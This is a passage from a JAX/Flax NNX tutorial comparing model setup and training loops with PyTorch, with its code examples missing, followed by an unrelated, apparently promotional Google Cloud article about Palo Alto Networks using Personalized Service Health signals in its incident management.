Model initialization in NNX is nearly identical to PyTorch. In both frameworks, when you instantiate an instance of the model class, the model parameters are eagerly (vs. lazily) initialized and tied to the instance itself. The only difference in NNX is that you need to pass in a pseudorandom number generator (PRNG) key when instantiating the model. In keeping with Jax’s functional nature, it avoids implicit global random state, requiring you to explicitly pass PRNG keys. This makes PRNG generation easily reproducible, parallelizable, and vectorizable. See the JAX docs for more details.

Actually using the models to process a batch of data is equivalent between the two frameworks:

Training step and backpropagation 

There are some key differences in training loops between PyTorch and Flax NNX. To demonstrate, let’s build up to the full NNX training loop step by step. 

Setup

In both frameworks, we create Optimizers and have the flexibility to specify our optimization algorithm. While PyTorch requires passing in model parameters, Flax NNX allows you to just pass in the model directly and handles all interactions with the underlying Optax optimizer. 

Forward + backward pass

Perhaps the biggest difference between PyTorch and JAX is how to do a full forward/backward pass. With PyTorch, you calculate the gradients with loss.backward(), triggering AutoGrad to follow the computation graph from loss to compute the gradients. 

JAX’s automatic differentiation is instead much closer to the raw math, where you have gradients of functions. Specifically, nnx.value_and_grad/nnx.grad take in a function, loss_fn, and return a function, grad_fn. Then, grad_fn itself returns the gradient of the output of loss_fn with respect to its input. 

In our example, loss_fn is doing exactly what is being done in PyTorch: first, it gets the logits from the forward pass and then calculates the familiar loss. From there, grad_fn calculates the gradient of loss with respect to the parameters of model. In mathematical terms, the grads that are returned are ∂J/∂θ. This is exactly what is happening in PyTorch under the hood: whereas PyTorch is “storing” the gradients in the tensor’s .grad attribute when you do loss.backward(), JAX and Flax NNX follow the functional approach of not mutating state and just return the gradients to you directly. 

Optimizer step

In PyTorch, optimizer.step() updates the weights in place using the gradients. NNX also does an in-place update of the weights, but requires the grads you calculated in the backward pass to be passed in directly. This is the same optimization step that is done in PyTorch, just slightly more explicit — in keeping with Jax’s underlying functional nature. 

Full training loop

You now have everything you need to construct a full training loop in JAX/Flax NNX. As a reference, let’s first see the familiar PyTorch loop:

And now the full NNX training loop:

The key takeaway is that the training loops are very similar between PyTorch and JAX/Flax NNX, with most of the differences boiling down to object-oriented versus functional programming. Although there’s a slight learning curve to functional programming and thinking about gradients of functions, it enables many of the aforementioned benefits in JAX, e.g., JIT compilation and automatic parallelization. For example, just adding the @nnx.jit annotations to the above functions speeds up training the model for 500 epochs from 6.25 minutes to just 1.8 minutes with a P100 GPU on Kaggle! You’ll see similar speedups with the same code across CPUs, TPUs, and even non-NVIDIA GPUs. 

Flax Linen reference

As previously mentioned, the JAX ecosystem is very flexible and lets you bring in your framework of choice. Although NNX is the recommended solution for new users, the Flax Linen API is still widely used today, including in powerful frameworks like MaxText and MaxDiffusion. While NNX is far more Pythonic and hides much of the complexity of state management, Linen adheres much more closely to pure functional programming. 

Being comfortable with both is greatly beneficial if you want to participate in the JAX ecosystem. To help, let’s replicate much of our NNX code with Linen, and include comments highlighting the main differences.

Next steps

With the JAX/Flax knowledge you’ve gained from this blog post, you are now ready to write your own neural network. You can get started right away in Google Colab or Kaggle. Find a challenge on Kaggle and write a brand new model with Flax NNX, or start training a large language model (LLM) with MaxText — the possibilities are endless. 

And we have just scratched the surface with JAX and Flax. To learn more about JIT, automatic vectorization, custom gradients, and more, check out the documentation for both JAX and Flax!

Cloud incidents happen. And when they do, it’s incumbent on the cloud service provider to communicate about the incident to impacted customers quickly and effectively — and for the cloud service consumer to use that information effectively, as part of a larger incident management response. 

Google Cloud Personalized Service Health provides businesses with fast, transparent, relevant, and actionable communication about Google Cloud service disruptions, tailored to a specific business at its desired level of granularity. Cybersecurity company Palo Alto Networks is one Google Cloud customer and partner that recently integrated Personalized Service Health signals into the incident workflow for its Google Cloud-based PRISMA Access offering, saving its customers critical minutes during active incidents. 

By programmatically ingesting Personalized Service Health signals into advanced workflow components, Palo Alto can quickly make decisions such as triggering contingency actions to protect business continuity.

Let’s take a closer look at how Palo Alto integrated Personalized Service Health into its operations.

The Personalized Service Health integration

Palo Alto ingests Personalized Service Health logs into its internal AIOps system, which centralizes incident communications for PRISMA Access and applies advanced techniques to classify and distribute signals to the people responsible for responding to a given incident.

Users of Personalized Service Health can filter what relevance levels they want to see. Here, “Partially related” reflects an issue anywhere in the world with the products that are used. “Related” reflects that the problem is detected within the data center regions, while “Impacted” means that Google has verified the impact to the customer for specific services.

While Google is still confirming an incident, Personalized Service Health communicates some of these incidents as ‘PSH Emerging Incident’ to provide customers with early notification. Once Google confirms the incident, these incidents are merged with ‘PSH Confirmed Incidents’. This helps customers respond faster to a specific incident that’s impacting their environment or escalate back to Google, if needed. 

Personalized Service Health distributes updates throughout an active incident, typically every 30 minutes, or sooner if there’s progress to share. These updates are also written to logs, which Palo Alto ingests into AIOps.

Responding to disruptive, unplanned cloud service provider incidents can be accelerated by programmatically ingesting and distributing incident communications. This is especially true in large-scale organizations such as Palo Alto, which has multiple teams involved in incident response for different applications, workloads and customers. 

Fueling the incident lifecycle

Palo Alto further leverages the ingested Personalized Service Health signals in its AIOps platform, which uses machine learning (ML) and analytics to automate IT operations. AIOps harnesses big data from operational appliances to detect and respond to issues instantaneously.  AIOps correlates these signals with internally generated alerts to declare an incident that is affecting multiple customers. These AIOps alerts are tied to other incident management tools that assist with managing the incident lifecycle, including communication, regular updates and incident resolution.

In addition, a data enrichment pipeline takes Personalized Service Health incidents, adds Palo Alto’s related information, and publishes the events to Pub/Sub. AIOps then consumes the incident data from Pub/Sub, processes it, correlates it to related events signals, and notifies subscribed channels.

Palo Alto organizes Google Cloud assets into folders within the Google Cloud console. Each project represents a Palo Alto PRISMA Access customer. To receive incident signals that are likewise specific to end customers, Palo Alto creates a log sink that’s specific to each folder, aggregating service health logs at the folder level. Palo Alto then receives incident signals specific to each customer so it can take further action.

Palo Alto drives the following actions based on incident communications flowing from Google Cloud:

• Proactive detection of zonal, inter-regional, external en-masse failures

• Accurately identifying workloads affected by cloud provider incidents 

• Correlation of product issue caused by cloud service degradation in Google Cloud Platform itself

Seeing Personalized Service Health’s value

Incidents caused by cloud providers often go unnoticed or are difficult to isolate without involving multiple of the cloud provider’s teams (support, engineering, SRE, account management). The Personalized Service Health alerting framework plus AIOps correlation engine allows Palo Alto’s SRE teams to isolate issues caused by a cloud provider near-instantaneously.

Palo Alto’s incident management workflow is designed to address mass failures versus individual customer outages, ensuring the right teams are engaged until the incidents are resolved. This includes notifying relevant parties, such as the on-call engineer and the Google Cloud support team. With Personalized Service Health, Palo Alto can capture both event types i.e., mass failures as well as individual customer outages.

Palo Alto gets value from Personalized Service Health in multiple ways, beginning with faster incident response and contingency actions with which to optimize business continuity, especially for impacted customers of PRISMA Access. In the event of an incident impacting them, Prisma Access customers naturally seek and expect information from Palo Alto. By ensuring this information flows rapidly from Google Cloud to Palo Alto’s incident response systems, Palo Alto is able to provide more insightful answers to these end customers, and plans to serve additional Palo Alto use cases based on both existing and future Personalized Service Health capabilities. 

Take your incident management to the next level

Google Cloud is continually evolving Personalized Service Health to provide deeper value for all Google Cloud customers — from startups, to ISVs and SaaS providers, to the largest enterprises. Ready to get started? Learn more about Personalized Service Health, or reach out to your account team.